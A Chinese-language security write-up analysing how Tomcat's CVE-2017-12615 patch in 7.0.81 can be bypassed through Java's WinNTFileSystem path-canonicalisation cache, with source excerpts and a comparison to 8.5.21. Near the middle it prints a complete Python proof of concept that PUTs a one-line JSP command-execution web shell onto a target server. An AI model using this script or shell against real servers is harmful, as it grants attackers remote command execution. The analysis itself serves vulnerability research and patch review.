Tomcat 12615补丁绕过分析

简介

前几天分析了Tomcat的12615和12616的漏洞,Tomcat也出了补丁。今天又看到了Tomcat的补丁是可以绕过的,看了RR大佬的分析,我也分析一波。以下的分析是以Tomcat7.0.79和Tomcat7.0.81为例来说明。Tomcat7.0.79是存在12615的漏洞,tomcat7.0.81是已经打了补丁的。

补丁分析

通过源码对比分析:

可以发现,在Tomcat的7.0.81中引入了加入了新的代码,通过File file = file(name, false);返回一个File类。
跟踪file(),进入到java/org/apache/naming/resources/FileDirContext.java:file()

1
2
3
4
protected File file(String name, boolean mustExist) {
File file = new File(base, name);
return validate(file, mustExist, absoluteBase);
}

通过validatefile进行了验证。
跟踪validate(),进入到java/org/apache/naming/resources/FileDirContext.java:validate()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
protected File validate(File file, boolean mustExist, String absoluteBase) {

if (!mustExist || file.exists() && file.canRead()) {

if (allowLinking)
return file;

// Check that this file belongs to our root path
String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
// Case sensitivity check - this is now always done
String fileAbsPath = file.getAbsolutePath();
if (fileAbsPath.endsWith("."))
fileAbsPath = fileAbsPath + "/";
String absPath = normalize(fileAbsPath);
canPath = normalize(canPath);
if ((absoluteBase.length() < absPath.length())
&& (absoluteBase.length() < canPath.length())) {
absPath = absPath.substring(absoluteBase.length() + 1);
if (absPath.equals(""))
absPath = "/";
canPath = canPath.substring(absoluteBase.length() + 1);
if (canPath.equals(""))
canPath = "/";
if (!canPath.equals(absPath))
return null;
}

} else {
return null;
}
return file;

}

其中最为关键的代码是canPath = file.getCanonicalPath();anPath.equals(absPath)。其中

  • canPath = file.getCanonicalPath();,此处,对路径进行规范化,调用的是 java.io.File 内的方法,如果file的名称中存在空格,则会去掉空格。
  • canPath.equals(absPath)会比较规范化的路径和之前传入的文件路径是否一致,如果不一致,则返回NULL。

绕过分析

通过上面的分析,看来是防御了12615的漏洞,如果我们深入到getCanonicalPath()中代码:
java.io.File::getCanonicalPath()

1
2
3
4
5
6
public String getCanonicalPath() throws IOException {
if (isInvalid()) {
throw new IOException("Invalid file path");
}
return fs.canonicalize(fs.resolve(this));
}

继续深入到fs.canonicalize()中进一步地查看代码,代码位于java.io.WinNTFileSystem::canonicalize。为了方便显示,省略部分代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public String canonicalize(String path) throws IOException {
String res = cache.get(path);
if (res == null) {
String dir = null;
String resDir = null;
if (useCanonPrefixCache) {
dir = parentOrNull(path);
if (dir != null) {
resDir = prefixCache.get(dir);
if (resDir != null) {
String filename = path.substring(1 + dir.length());
// canonicalizeWithPrefix不会去掉末尾的空格
res = canonicalizeWithPrefix(resDir, filename);
cache.put(dir + File.separatorChar + filename, res);
}
}
}
if (res == null) {
// canonicalize0会去掉文件末尾的空格
res = canonicalize0(path);
cache.put(path, res);
if (useCanonPrefixCache && dir != null) {
resDir = parentOrNull(res);
if (resDir != null) {
File f = new File(res);
if (f.exists() && !f.isDirectory()) {
prefixCache.put(dir, resDir);
}
}
}
}
}
return res;
}

如果需要进入到canonicalizeWithPrefix中,则需要dir = parentOrNull(path)不为空,同时resDir = prefixCache.get(dir);不为空,就能够通过cache.put(dir + File.separatorChar + filename, res);写入文件了。
如何保证cache.put(dir + File.separatorChar + filename, res);不为空呢?在下方存在这样的代码如下:

1
2
3
4
File f = new File(res);
if (f.exists() && !f.isDirectory()) {
prefixCache.put(dir, resDir);
}

如果文件存在且不是目录,就可以通过put写,保证不为空了。但是问题并没有完全解决。prefixCache存在时间的有效期。通过分析代码发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private ExpiringCache prefixCache = new ExpiringCache();

ExpiringCache() {
this(30000);
}

@SuppressWarnings("serial")
ExpiringCache(long millisUntilExpiration) {
this.millisUntilExpiration = millisUntilExpiration;
map = new LinkedHashMap<String,Entry>() {
protected boolean removeEldestEntry(Map.Entry<String,Entry> eldest) {
return size() > MAX_ENTRIES;
}
};
}

private Entry entryFor(String key) {
Entry entry = map.get(key);
if (entry != null) {
long delta = System.currentTimeMillis() - entry.timestamp();
if (delta < 0 || delta >= millisUntilExpiration) {
map.remove(key);
entry = null;
}
}
return entry;
}

这个表示在prefixCache中的数据的有效期为30000ms即3秒种,所以发送的请求需要在3秒内完成,否则就无法达到攻击的目的。

漏洞利用

我们分别通过PUT test.txtPUT test.txt%20的方式向prefixCache中进行写入。程序的执行过程如下:

访问PUT test.txt因为文件不存在,所以成功地创建了文件。

访问PUT test.txt%20,因为文件存在,所以成功地向prefixCache写入了dir
最后访问PUT test.jsp%20成功地绕过了prefixCache.get(dir),从而写入了文件。如下:

POC

我在进行测试的时候,主要利用的是Burp进行的测试,需要注意的就是请求的时间间隔,当然也可以使用代码的方式来完成任务。下面的POC就是rr大佬的POC,但是对代码稍微进行了修改,下面的代码需要在Python3.6的环境下运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys
import requests
import random
import hashlib


shell_content = '''
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
'''


if len(sys.argv) <= 1:
print('Usage: python tomcat.py [url]')
exit(1)

def main():
filename = hashlib.md5(str(random.random()).encode()).hexdigest()[:6]

put_url = '{}/{}.txt'.format(sys.argv[1], filename)
shell_url = '{}/{}.jsp'.format(sys.argv[1], filename)

requests.put(put_url, data='1')
requests.put(put_url + '%20', data='1')
requests.put(shell_url + '%20', data=shell_content)
requests.delete(put_url)
print('Shell URL: {}'.format(shell_url))

if __name__ == '__main__':
main()

Tomcat 8.5.21分析

上述的分析在8.5.21上面无法成功,下载源代码分析。分析了一波,修改之后的逻辑还是相当的绕的。
8.5.21中的以jspjspx还是由JSPServlet来处理,其他的由DefaultServlet处理。
org.apache.catalina.servlets.DefaultServlet:doPut

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {


if (readOnly) {
resp.sendError(HttpServletResponse.SC_FORBIDDEN);
return;
}

String path = getRelativePath(req);

WebResource resource = resources.getResource(path);

Range range = parseContentRange(req, resp);

InputStream resourceInputStream = null;

try {
if (range != null) {
File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}

if (resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}
} finally {
if (resourceInputStream != null) {
try {
resourceInputStream.close();
} catch (IOException ioe) {
// Ignore
}
}
}
}

其中的关键代码变为resources.write(path, resourceInputStream, true)。代码修改之后,整个处理过程都发生了改变,逻辑也非常的绕,我们直接定位到最终的修复代码。
定位到org.apache.catalina.webresources.AbstractFileResourceSet::file()方法,整个调用栈如下:

这个函数的代码与java/org/apache/naming/resources/FileDirContext.java:validate()中的代码并没有什么区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
protected final File file(String name, boolean mustExist) {

if (name.equals("/")) {
name = "";
}
File file = new File(fileBase, name);
if (!mustExist || file.canRead()) {

if (getRoot().getAllowLinking()) {
return file;
}

String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
if (canPath == null)
return null;

if (!canPath.startsWith(canonicalBase)) {
return null;
}

String fileAbsPath = file.getAbsolutePath();
if (fileAbsPath.endsWith("."))
fileAbsPath = fileAbsPath + '/';
String absPath = normalize(fileAbsPath);
if ((absoluteBase.length() < absPath.length())
&& (canonicalBase.length() < canPath.length())) {
absPath = absPath.substring(absoluteBase.length() + 1);
if (absPath.equals(""))
absPath = "/";
canPath = canPath.substring(canonicalBase.length() + 1);
if (canPath.equals(""))
canPath = "/";
if (!canPath.equals(absPath))
return null;
}

} else {
return null;
}
return file;
}

根据比较代码if (!canPath.equals(absPath)),因为规范化之后去掉了空格和之前的路径不相等,所以返回null。如下所示:

接着跟踪代码,进入到org.apache.catalina.webresources.DirResourceSet::write()中,关键运行位置如下:

根据上一步file()函数返回null,wirte()函数就会返回false。
继续跟踪代码,进入到org.apache.catalina.webresources.StandardRoot::write()中,关键运行位置如下:

由于上一步DirResourceSet::wirte()函数返回false,StandardRoot::wirte()函数就会返回false。
继续跟踪代码,回到org.apache.catalina.servlets.DefaultServlet::doPut()方法中:

由于上一步StandardRoot::wirte()函数返回false,最终就导致doPut()返回HttpServletResponse.SC_CONFLICT(409)的错误信息。

所以在8.5.21中已经无法通过%20的方式写入文件了。本质上这个漏洞的防护在8.5.21中通过完善逻辑的验证已经能够很好地防御这个漏洞了。

总结

这几天分析了一下12615的漏洞,还是学习了很多。无论是调试技巧还是对这个漏洞的理解。

纸上得来终觉浅 绝知此事要躬行

参考

Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615